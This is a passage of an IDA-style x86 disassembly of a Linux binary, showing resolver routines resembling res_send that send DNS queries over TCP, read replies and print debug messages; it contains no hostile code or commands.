		push	0
		push	edi
		call	sub_8054DF0
		mov	[ebp+var_1], 0
		add	esp, 8
		lea	esi, [ebp+var_400]
		mov	[ebp+var_404], esi
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804E4F4:				; CODE XREF: sub_804E490+101j
		push	edi
		push	400h
		mov	esi, [ebp+var_404]
		push	esi
		call	fgets
		add	esp, 0Ch
		test	eax, eax
		jz	loc_804E620
		mov	ebx, [ebp+var_404]
		cmp	[ebp+var_400], 0
		jz	loc_804E620
		movzx	eax, [ebp+var_400]
		mov	edx, dword_8078FA0
		test	byte ptr [edx+eax*2+1],	20h
		jnz	short loc_804E570
		lea	ebx, [ebp+var_3FF]
		cmp	[ebp+var_3FF], 0
		jz	loc_804E620
		movzx	eax, [ebp+var_3FF]
		test	byte ptr [edx+eax*2+1],	20h
		jnz	short loc_804E570
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804E55C:				; CODE XREF: sub_804E490+DEj
		inc	ebx
		cmp	byte ptr [ebx],	0
		jz	loc_804E620
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_804E55C

loc_804E570:				; CODE XREF: sub_804E490+A6j
					; sub_804E490+C7j
		cmp	byte ptr [ebx],	0
		jz	loc_804E620
		mov	byte ptr [ebx],	0
		mov	esi, [ebp+arg_0]
		push	esi
		mov	esi, [ebp+var_404]
		push	esi
		call	sub_80565F8
		add	esp, 8
		test	eax, eax
		jnz	loc_804E4F4
		inc	ebx
		movzx	eax, byte ptr [ebx]
		mov	edx, dword_8078FA0
		test	byte ptr [edx+eax*2+1],	20h
		jz	short loc_804E5B3

loc_804E5A8:				; CODE XREF: sub_804E490+121j
		inc	ebx
		movzx	eax, byte ptr [ebx]
		test	byte ptr [edx+eax*2+1],	20h
		jnz	short loc_804E5A8

loc_804E5B3:				; CODE XREF: sub_804E490+116j
		cmp	byte ptr [ebx],	0
		jz	short loc_804E620
		lea	edx, [ebx+1]
		cmp	byte ptr [ebx+1], 0
		jz	short loc_804E5F8
		movzx	eax, byte ptr [ebx+1]
		mov	ecx, dword_8078FA0
		test	byte ptr [ecx+eax*2+1],	20h
		jnz	short loc_804E5F8
		lea	edx, [ebx+2]
		cmp	byte ptr [ebx+2], 0
		jz	short loc_804E5F8
		movzx	eax, byte ptr [ebx+2]
		test	byte ptr [ecx+eax*2+1],	20h
		jnz	short loc_804E5F8
		lea	esi, [esi]

loc_804E5E8:				; CODE XREF: sub_804E490+166j
		inc	edx
		cmp	byte ptr [edx],	0
		jz	short loc_804E5F8
		movzx	eax, byte ptr [edx]
		test	byte ptr [ecx+eax*2+1],	20h
		jz	short loc_804E5E8

loc_804E5F8:				; CODE XREF: sub_804E490+12Fj
					; sub_804E490+140j ...
		mov	byte ptr [edx],	0
		mov	ds:byte_807A857, 0
		push	0FFh
		push	ebx
		push	offset unk_807A758
		call	strncpy
		push	edi
		call	fclose
		mov	eax, offset unk_807A758
		jmp	short loc_804E628
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E620:				; CODE XREF: sub_804E490+7Bj
					; sub_804E490+8Ej ...
		push	edi
		call	fclose

loc_804E626:				; CODE XREF: sub_804E490+13j
					; sub_804E490+28j ...
		xor	eax, eax

loc_804E628:				; CODE XREF: sub_804E490+18Dj
		lea	esp, [ebp+var_410]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804E490	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804E638	proc near		; CODE XREF: sub_804EA0C+256p
					; sub_804EA0C+645p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_E		= word ptr  16h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	ebx, __errno
		test	byte ptr dword_807854C,	2
		jz	short loc_804E682
		push	eax
		call	sub_80566A4
		push	eax
		mov	ax, [ebp+arg_E]
		xchg	al, ah
		and	eax, 0FFFFh
		push	eax
		mov	eax, [ebp+arg_10]
		push	eax
		call	sub_805E984
		add	esp, 4
		push	eax
		push	esi
		push	offset aRes_sendSS_US ;	"res_send: %s ([%s].%u): %s\n"
		push	edi
		call	fprintf

loc_804E682:				; CODE XREF: sub_804E638+1Cj
		mov	__errno, ebx
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804E638	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804E694	proc near		; CODE XREF: sub_804EA0C+2D4p
					; sub_804EA0C+350p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	ebx, __errno
		test	byte ptr dword_807854C,	2
		jz	short loc_804E6C5
		push	eax
		call	sub_80566A4
		push	eax
		push	esi
		push	offset aRes_sendSS ; "res_send:	%s: %s\n"
		push	edi
		call	fprintf

loc_804E6C5:				; CODE XREF: sub_804E694+1Cj
		mov	__errno, ebx
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804E694	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804E6D8	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword_807853C, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_804E6D8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804E6E8	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword_8078540, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_804E6E8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804E6F8	proc near		; CODE XREF: sub_804EA0C+808p

var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	ecx, [edx]
		mov	[ebp+var_10], ecx
		mov	eax, [edx+4]
		mov	[ebp+var_C], eax
		mov	eax, [edx+8]
		mov	[ebp+var_8], eax
		mov	eax, [edx+0Ch]
		mov	[ebp+var_4], eax
		xor	esi, esi
		mov	[ebp+var_14], 0
		cmp	dword_8078550, esi
		jle	loc_804E875
		mov	[ebp+var_18], ecx
		mov	ecx, offset dword_8078558
		mov	[ebp+var_1C], offset dword_8078554
		mov	eax, dword_8078550
		and	eax, 3
		cmp	dword_8078550, esi
		jle	short loc_804E7B9
		test	eax, eax
		jz	loc_804E7F0
		cmp	eax, 1
		jle	short loc_804E7B9
		cmp	eax, 2
		jle	short loc_804E791
		mov	ebx, [ebp+var_18]
		cmp	dword_8078554, ebx
		jnz	short loc_804E787
		cmp	dword_8078558, 0
		jz	loc_804E859
		mov	eax, dword_8078558
		cmp	[ebp+var_C], eax
		jz	loc_804E859

loc_804E787:				; CODE XREF: sub_804E6F8+72j
		add	ecx, 10h
		add	[ebp+var_1C], 10h
		inc	[ebp+var_14]

loc_804E791:				; CODE XREF: sub_804E6F8+67j
		mov	ebx, [ebp+var_18]
		mov	edi, [ebp+var_1C]
		cmp	[edi], ebx
		jnz	short loc_804E7AF
		cmp	dword ptr [ecx], 0
		jz	loc_804E859
		mov	eax, [ecx]
		cmp	[ebp+var_C], eax
		jz	loc_804E859

loc_804E7AF:				; CODE XREF: sub_804E6F8+A1j
		add	ecx, 10h
		add	[ebp+var_1C], 10h
		inc	[ebp+var_14]

loc_804E7B9:				; CODE XREF: sub_804E6F8+55j
					; sub_804E6F8+62j
		mov	ebx, [ebp+var_18]
		mov	edi, [ebp+var_1C]
		cmp	[edi], ebx
		jnz	short loc_804E7D7
		cmp	dword ptr [ecx], 0
		jz	loc_804E859
		mov	eax, [ecx]
		cmp	[ebp+var_C], eax
		jz	loc_804E859

loc_804E7D7:				; CODE XREF: sub_804E6F8+C9j
		add	ecx, 10h
		add	[ebp+var_1C], 10h
		inc	[ebp+var_14]
		mov	edi, [ebp+var_14]
		cmp	dword_8078550, edi
		jz	loc_804E875

loc_804E7F0:				; CODE XREF: sub_804E6F8+59j
		mov	[ebp+var_20], ecx
		mov	edx, ecx
		mov	ecx, [ebp+var_1C]

loc_804E7F8:				; CODE XREF: sub_804E6F8+17Bj
		mov	ebx, [ebp+var_18]
		cmp	[ecx], ebx
		jnz	short loc_804E80E
		cmp	dword ptr [edx], 0
		jz	short loc_804E859
		mov	edi, [ebp+var_20]
		mov	eax, [edi]
		cmp	[ebp+var_C], eax
		jz	short loc_804E859

loc_804E80E:				; CODE XREF: sub_804E6F8+105j
		mov	ebx, [ebp+var_18]
		cmp	[ecx+10h], ebx
		jnz	short loc_804E827
		cmp	dword ptr [edx+10h], 0
		jz	short loc_804E859
		mov	edi, [ebp+var_20]
		mov	eax, [edi+10h]
		cmp	[ebp+var_C], eax
		jz	short loc_804E859

loc_804E827:				; CODE XREF: sub_804E6F8+11Cj
		mov	ebx, [ebp+var_18]
		cmp	[ecx+20h], ebx
		jnz	short loc_804E840
		cmp	dword ptr [edx+20h], 0
		jz	short loc_804E859
		mov	edi, [ebp+var_20]
		mov	eax, [edi+20h]
		cmp	[ebp+var_C], eax
		jz	short loc_804E859

loc_804E840:				; CODE XREF: sub_804E6F8+135j
		mov	ebx, [ebp+var_18]
		cmp	[ecx+30h], ebx
		jnz	short loc_804E85C
		cmp	dword ptr [edx+30h], 0
		jz	short loc_804E859
		mov	edi, [ebp+var_20]
		mov	eax, [edi+30h]
		cmp	[ebp+var_C], eax
		jnz	short loc_804E85C

loc_804E859:				; CODE XREF: sub_804E6F8+7Bj
					; sub_804E6F8+89j ...
		inc	esi
		jmp	short loc_804E875
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E85C:				; CODE XREF: sub_804E6F8+14Ej
					; sub_804E6F8+15Fj
		add	[ebp+var_20], 40h
		add	edx, 40h
		add	ecx, 40h
		add	[ebp+var_14], 4
		mov	ebx, [ebp+var_14]
		cmp	dword_8078550, ebx
		jnz	short loc_804E7F8

loc_804E875:				; CODE XREF: sub_804E6F8+32j
					; sub_804E6F8+F2j ...
		mov	eax, esi
		lea	esp, [ebp+var_2C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804E6F8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804E884	proc near		; CODE XREF: sub_804E944+A2p

var_114		= byte ptr -114h
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_C]
		add	esi, 0Ch
		mov	edx, [ebp+arg_C]
		mov	ax, [edx+4]
		xchg	al, ah
		movzx	edi, ax
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	loc_804E933
		lea	edx, [ebp+var_104]
		mov	[ebp+var_108], edx
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804E8BC:				; CODE XREF: sub_804E884+ADj
		push	101h
		mov	edx, [ebp+var_108]
		push	edx
		push	esi
		mov	edx, [ebp+arg_10]
		push	edx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_804D02C
		add	esp, 14h
		test	eax, eax
		jge	short loc_804E8E4
		mov	eax, 0FFFFFFFFh
		jmp	short loc_804E935
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804E8E4:				; CODE XREF: sub_804E884+57j
		add	esi, eax
		push	esi
		call	sub_804D6B8
		movzx	ebx, ax
		add	esi, 2
		push	esi
		call	sub_804D6B8
		and	eax, 0FFFFh
		add	esi, 2
		add	esp, 8
		cmp	[ebp+arg_4], ebx
		jnz	short loc_804E92C
		cmp	[ebp+arg_8], eax
		jnz	short loc_804E92C
		mov	edx, [ebp+arg_0]
		push	edx
		mov	edx, [ebp+var_108]
		push	edx
		call	sub_80565F8
		add	esp, 8
		test	eax, eax
		jnz	short loc_804E92C
		mov	eax, 1
		jmp	short loc_804E935
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E92C:				; CODE XREF: sub_804E884+82j
					; sub_804E884+87j ...
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_804E8BC

loc_804E933:				; CODE XREF: sub_804E884+23j
		xor	eax, eax

loc_804E935:				; CODE XREF: sub_804E884+5Ej
					; sub_804E884+A5j
		lea	esp, [ebp+var_114]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804E884	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804E944	proc near		; CODE XREF: sub_804EA0C+853p

var_114		= byte ptr -114h
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		add	esi, 0Ch
		mov	edx, [ebp+arg_0]
		mov	ax, [edx+4]
		xchg	al, ah
		movzx	edi, ax
		mov	edx, [ebp+arg_8]
		mov	ax, [edx+4]
		xchg	al, ah
		and	eax, 0FFFFh
		cmp	edi, eax
		jz	short loc_804E984

loc_804E974:				; CODE XREF: sub_804E944+ACj
		xor	eax, eax
		jmp	loc_804E9FE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E97C:				; CODE XREF: sub_804E944+73j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_804E9FE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804E984:				; CODE XREF: sub_804E944+2Ej
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_804E9F9
		lea	edx, [ebp+var_104]
		mov	[ebp+var_108], edx
		nop

loc_804E998:				; CODE XREF: sub_804E944+B3j
		push	101h
		mov	edx, [ebp+var_108]
		push	edx
		push	esi
		mov	edx, [ebp+arg_4]
		push	edx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_804D02C
		add	esp, 14h
		test	eax, eax
		jl	short loc_804E97C
		add	esi, eax
		push	esi
		call	sub_804D6B8
		movzx	ebx, ax
		add	esi, 2
		push	esi
		call	sub_804D6B8
		and	eax, 0FFFFh
		add	esi, 2
		mov	edx, [ebp+arg_C]
		push	edx
		mov	edx, [ebp+arg_8]
		push	edx
		push	eax
		push	ebx
		mov	edx, [ebp+var_108]
		push	edx
		call	sub_804E884
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_804E974
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_804E998

loc_804E9F9:				; CODE XREF: sub_804E944+45j
		mov	eax, 1

loc_804E9FE:				; CODE XREF: sub_804E944+32j
					; sub_804E944+3Dj
		lea	esp, [ebp+var_114]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_804E944	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_804EA0C	proc near		; CODE XREF: sub_804DFE0+B8p

var_264		= byte ptr -264h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_1FC		= byte ptr -1FCh
var_1EC		= word ptr -1ECh
var_1EA		= word ptr -1EAh
var_1E8		= dword	ptr -1E8h
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 258h
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_22C], eax
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_230], ecx
		test	byte ptr dword_807854C,	1
		jnz	short loc_804EA41
		call	res_init
		cmp	eax, 0FFFFFFFFh
		jz	loc_804F4E4	; default

loc_804EA41:				; CODE XREF: sub_804EA0C+25j
		test	byte ptr dword_807854C,	2
		jnz	short loc_804EA53
		test	byte ptr dword_80786A4+1, 10h
		jz	short loc_804EA77

loc_804EA53:				; CODE XREF: sub_804EA0C+3Cj
		push	offset aRes_send ; ";; res_send()\n"
		push	offset unk_8078750
		call	fprintf
		push	offset unk_8078750
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_805F1DC
		add	esp, 14h

loc_804EA77:				; CODE XREF: sub_804EA0C+45j
		mov	[ebp+var_244], 0
		test	byte ptr dword_807854C,	8
		jnz	short loc_804EA93
		cmp	[ebp+arg_4], 200h
		jle	short loc_804EA9D

loc_804EA93:				; CODE XREF: sub_804EA0C+7Cj
		mov	[ebp+var_244], 1

loc_804EA9D:				; CODE XREF: sub_804EA0C+85j
		mov	[ebp+var_234], 0
		mov	[ebp+var_238], 0
		mov	[ebp+var_23C], 6Eh
		mov	[ebp+var_248], 0
		mov	[ebp+var_240], 0
		mov	edi, [ebp+var_234]
		cmp	dword_8078548, edi
		jle	loc_804F475
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804EAE4:				; CODE XREF: sub_804EA0C+A63j
		xor	esi, esi
		cmp	dword_8078550, esi
		jle	loc_804F45D
		lea	esi, [esi]

loc_804EAF4:				; CODE XREF: sub_804EA0C+A4Bj
		mov	eax, esi
		shl	eax, 4
		add	eax, offset dword_8078554
		mov	[ebp+var_4], eax

loc_804EB01:				; CODE XREF: sub_804EA0C+386j
					; sub_804EA0C+946j
		mov	eax, [ebp+var_248]
		bt	eax, esi
		jnb	short loc_804EB18

loc_804EB0C:				; CODE XREF: sub_804EA0C+146j
					; sub_804EA0C+364j ...
		call	sub_804F4F8	; case 0x1
		jmp	loc_804F450
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804EB18:				; CODE XREF: sub_804EA0C+FEj
		cmp	dword_807853C, 0
		jz	short loc_804EB80 ; case 0x0
		xor	ebx, ebx
		nop

loc_804EB24:				; CODE XREF: sub_804EA0C+172j
		lea	ecx, [ebp+var_8]
		push	ecx
		mov	edi, [ebp+arg_C]
		push	edi
		mov	eax, [ebp+arg_8]
		push	eax
		lea	ecx, [ebp+arg_4]
		push	ecx
		lea	edi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, dword_807853C
		call	ecx
		mov	edx, eax
		add	esp, 18h
		cmp	edx, 4		; switch 5 cases 
		ja	loc_804F4E4	; default
		jmp	ds:off_804EB5C[edx*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
off_804EB5C	dd offset loc_804EB80, offset loc_804EB0C, offset loc_804EB70
					; DATA XREF: sub_804EA0C+146r
		dd offset loc_804F448, offset loc_804F4E4 ; jump table for switch statement
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804EB70:				; CODE XREF: sub_804EA0C+146j
					; DATA XREF: sub_804EA0C+150o
		inc	ebx		; case 0x2
		cmp	ebx, 29h
		jg	loc_804F4E4	; default
		xor	edi, edi
		test	edi, edi
		jz	short loc_804EB24

loc_804EB80:				; CODE XREF: sub_804EA0C+113j
					; sub_804EA0C+146j
					; DATA XREF: ...
		test	byte ptr dword_807854C,	2 ; case 0x0
		jz	short loc_804EBAC
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		push	eax
		call	sub_805E984
		push	eax
		lea	eax, [esi+1]
		push	eax
		push	offset aQueryingServer ; ";; Querying server (#	%d) address = %s\n"...
		push	offset unk_8078750
		call	fprintf
		add	esp, 14h

loc_804EBAC:				; CODE XREF: sub_804EA0C+17Bj
		cmp	[ebp+var_244], 0
		jz	loc_804EEC0
		mov	eax, dword_8078548
		mov	[ebp+var_240], eax
		mov	[ebp+var_24C], 0
		cmp	dword_8078530, 0
		jl	short loc_804EBF2
		cmp	dword_8078538, 0
		jnz	loc_804EC86
		cmp	dword_8078530, 0
		jl	short loc_804EBF2
		call	sub_804F4F8

loc_804EBF2:				; CODE XREF: sub_804EA0C+1C9j
					; sub_804EA0C+1DFj
		push	0
		push	1
		push	2
		call	socket
		mov	edx, eax
		mov	dword_8078530, edx
		add	esp, 0Ch
		test	edx, edx
		jl	loc_804F4A4
		mov	__errno, 0
		push	10h
		mov	eax, [ebp+var_4]
		push	eax
		push	edx
		call	connect
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_804EC7C
		mov	ecx, __errno
		mov	[ebp+var_23C], ecx
		mov	edx, [ebp+var_4]
		mov	edi, [edx+0Ch]
		push	edi
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [edx+4]
		push	ecx
		mov	edx, [edx]
		mov	[ebp+var_250], edx
		push	edx
		mov	edi, [ebp+var_23C]
		push	edi
		push	offset aConnectVc ; "connect/vc"
		push	offset unk_80787A4
		call	sub_804E638
		mov	edi, 1
		mov	ecx, esi
		shl	edi, cl
		or	[ebp+var_248], edi
		jmp	loc_804F065
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804EC7C:				; CODE XREF: sub_804EA0C+21Fj
		mov	dword_8078538, 1

loc_804EC86:				; CODE XREF: sub_804EA0C+1D2j
		lea	ebx, [ebp+var_1A]
		push	ebx
		movzx	eax, word ptr [ebp+arg_4]
		push	eax
		call	sub_804D700
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], 2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, dword_8078530
		push	eax
		call	sub_8056E70
		mov	edx, eax
		mov	eax, [ebp+arg_4]
		add	eax, 2
		add	esp, 14h
		cmp	edx, eax
		jz	short loc_804ECFC
		mov	eax, __errno
		mov	[ebp+var_23C], eax
		push	eax
		push	offset aWriteFailed ; "write failed"
		push	offset unk_80787A4
		call	sub_804E694
		mov	edi, 1
		mov	ecx, esi
		shl	edi, cl
		or	[ebp+var_248], edi
		jmp	loc_804F19D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804ECFC:				; CODE XREF: sub_804EA0C+2BCj
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_254], eax
		mov	[ebp+var_1A], 2
		nop

loc_804ED0C:				; CODE XREF: sub_804EA0C+333j
		movzx	ecx, [ebp+var_1A]
		push	ecx
		mov	edi, [ebp+var_254]
		push	edi
		mov	eax, dword_8078530
		push	eax
		call	read
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jle	short loc_804ED45
		add	edi, ebx
		mov	[ebp+var_254], edi
		mov	ax, [ebp+var_1A]
		sub	ax, bx
		mov	[ebp+var_1A], ax
		jnz	short loc_804ED0C
		test	ebx, ebx
		jg	short loc_804ED98

loc_804ED45:				; CODE XREF: sub_804EA0C+31Ej
		mov	ecx, __errno
		mov	[ebp+var_23C], ecx
		push	ecx
		push	offset aReadFailed ; "read failed"
		push	offset unk_80787A4
		call	sub_804E694
		call	sub_804F4F8
		add	esp, 0Ch
		cmp	[ebp+var_23C], 68h
		jnz	loc_804EB0C	; case 0x1
		cmp	[ebp+var_238], 0
		jnz	loc_804EB0C	; case 0x1
		mov	[ebp+var_238], 1
		call	sub_804F4F8
		jmp	loc_804EB01
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_804ED98:				; CODE XREF: sub_804EA0C+337j
		mov	edi, [ebp+arg_8]
		push	edi
		call	sub_804D6B8
		mov	edx, eax
		and	edx, 0FFFFh
		mov	[ebp+var_8], edx
		add	esp, 4
		mov	eax, [ebp+arg_C]
		cmp	edx, eax
		jle	short loc_804EDE8
		test	byte ptr dword_807854C,	2
		jz	short loc_804EDD1
		push	offset aResponseTrunca ; ";; response truncated\n"
		push	offset unk_8078750
		call	fprintf
		add	esp, 8

loc_804EDD1:				; CODE XREF: sub_804EA0C+3B1j
		mov	[ebp+var_24C], 1
		mov	cx, word ptr [ebp+arg_C]
		mov	[ebp+var_1A], cx
		jmp	short loc_804EDF0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804EDE8:				; CODE XREF: sub_804EA0C+3A8j
		mov	ax, word ptr [ebp+var_8]
		mov	[ebp+var_1A], ax

loc_804EDF0:				; CODE XREF: sub_804EA0C+3D7j
		mov	edi, [ebp+arg_8]
		mov	[ebp+var_254], edi
		cmp	[ebp+var_1A], 0
		jz	short loc_804EE34

loc_804EE00:				; CODE XREF: sub_804EA0C+426j
		movzx	eax, [ebp+var_1A]
		push	eax
		mov	ecx, [ebp+var_254]
		push	ecx
		mov	edi, dword_8078530
		push	edi
		call	read
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jle	short loc_804EE38
		add	[ebp+var_254], ebx
		mov	ax, [ebp+var_1A]
		sub	ax, bx
		mov	[ebp+var_1A], ax
		jnz	short loc_804EE00

loc_804EE34:				; CODE XREF: sub_804EA0C+3F2j
		test	ebx, ebx
		jg	short loc_804EE50

loc_804EE38:				; CODE XREF: sub_804EA0C+413j
		mov	eax, __errno
		mov	[ebp+var_23C], eax
		push	eax
		push	offset aReadVc	; "read(vc)"
		jmp	loc_804F193
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_804EE50:				; CODE XREF: sub_804EA0C+42Aj
		cmp	[ebp+var_24C], 0
		jz	loc_804F358
		mov	ecx, [ebp+var_230]
		or	byte ptr [ecx+2], 2
		mov	di, word ptr [ebp+var_8]
		sub	di, word ptr [ebp+arg_C]
		mov	[ebp+var_1A], di
		jz	loc_804F358
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_804EE7C:				; CODE XREF: sub_804EA0C+4ACj
		mov	ebx, 200h
		cmp	[ebp+var_1A], 200h
		ja	short loc_804EE8D
		movzx	ebx, [ebp+var_1A]

